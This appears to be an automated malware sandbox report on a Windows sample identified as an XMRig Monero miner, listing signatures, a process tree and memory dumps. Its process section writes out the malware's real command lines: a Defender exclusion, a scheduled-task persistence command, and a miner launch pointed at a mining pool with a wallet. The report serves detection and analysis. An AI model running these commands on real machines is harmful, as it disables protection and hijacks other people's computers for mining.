Analysis
- max time kernel
148s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
13/01/2023, 17:24
General
- Target file.exe
- Size 1.0MB
- Sample230113-vypebsef9x
- SHA256 8e9422d256014b314558d327aea023697c6e1ef7fd268c72b814b1d65ea732ae
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NLJZH" /tr "C:\ProgramData\googleApp\NLJZH.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NLJZH" /tr "C:\ProgramData\googleApp\NLJZH.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/2772-166-0x0000025733250000-0x0000025733290000-memory.dmp
memory/2772-171-0x0000025733290000-0x00000257332B0000-memory.dmp
memory/2772-170-0x00000257332B0000-0x00000257332D0000-memory.dmp
memory/2772-169-0x0000025733290000-0x00000257332B0000-memory.dmp
memory/2772-168-0x00000257332B0000-0x00000257332D0000-memory.dmp
memory/2772-167-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2772-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2772-164-0x0000025731940000-0x0000025731960000-memory.dmp
memory/2772-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2772-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2772-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4344-142-0x0000000000E60000-0x0000000000FD0000-memory.dmp
memory/4344-159-0x00007FF831BE0000-0x00007FF831C1B000-memory.dmp
memory/4344-134-0x00007FF834910000-0x00007FF8349AE000-memory.dmp
memory/4344-135-0x00007FF830730000-0x00007FF830742000-memory.dmp
memory/4344-136-0x00007FF817490000-0x00007FF81754D000-memory.dmp
memory/4344-152-0x0000000000AE0000-0x0000000000B23000-memory.dmp
memory/4344-151-0x0000000000E60000-0x0000000000FD0000-memory.dmp
memory/4344-153-0x00007FF817550000-0x00007FF818011000-memory.dmp
memory/4344-137-0x00007FF834320000-0x00007FF8344C1000-memory.dmp
memory/4344-146-0x00007FF832D10000-0x00007FF832D37000-memory.dmp
memory/4344-156-0x00007FF81FFA0000-0x00007FF81FFD5000-memory.dmp
memory/4344-157-0x00007FF812330000-0x00007FF812432000-memory.dmp
memory/4344-158-0x00007FF834770000-0x00007FF8347DB000-memory.dmp
memory/4344-139-0x0000000000E60000-0x0000000000FD0000-memory.dmp
memory/4344-145-0x00007FF817550000-0x00007FF818011000-memory.dmp
memory/4344-144-0x00007FF815D40000-0x00007FF815E8E000-memory.dmp
memory/4344-143-0x0000000000E60000-0x0000000000FD0000-memory.dmp
memory/4344-133-0x00007FF818020000-0x00007FF8180CA000-memory.dmp
memory/4344-141-0x00007FF833BB0000-0x00007FF833BDB000-memory.dmp
memory/4344-140-0x0000000000AE0000-0x0000000000B23000-memory.dmp
memory/4344-138-0x00007FF817550000-0x00007FF818011000-memory.dmp
memory/5040-150-0x00007FF817550000-0x00007FF818011000-memory.dmp
memory/5040-149-0x000001E0C9F70000-0x000001E0C9F92000-memory.dmp
memory/5040-148-0x00007FF817550000-0x00007FF818011000-memory.dmp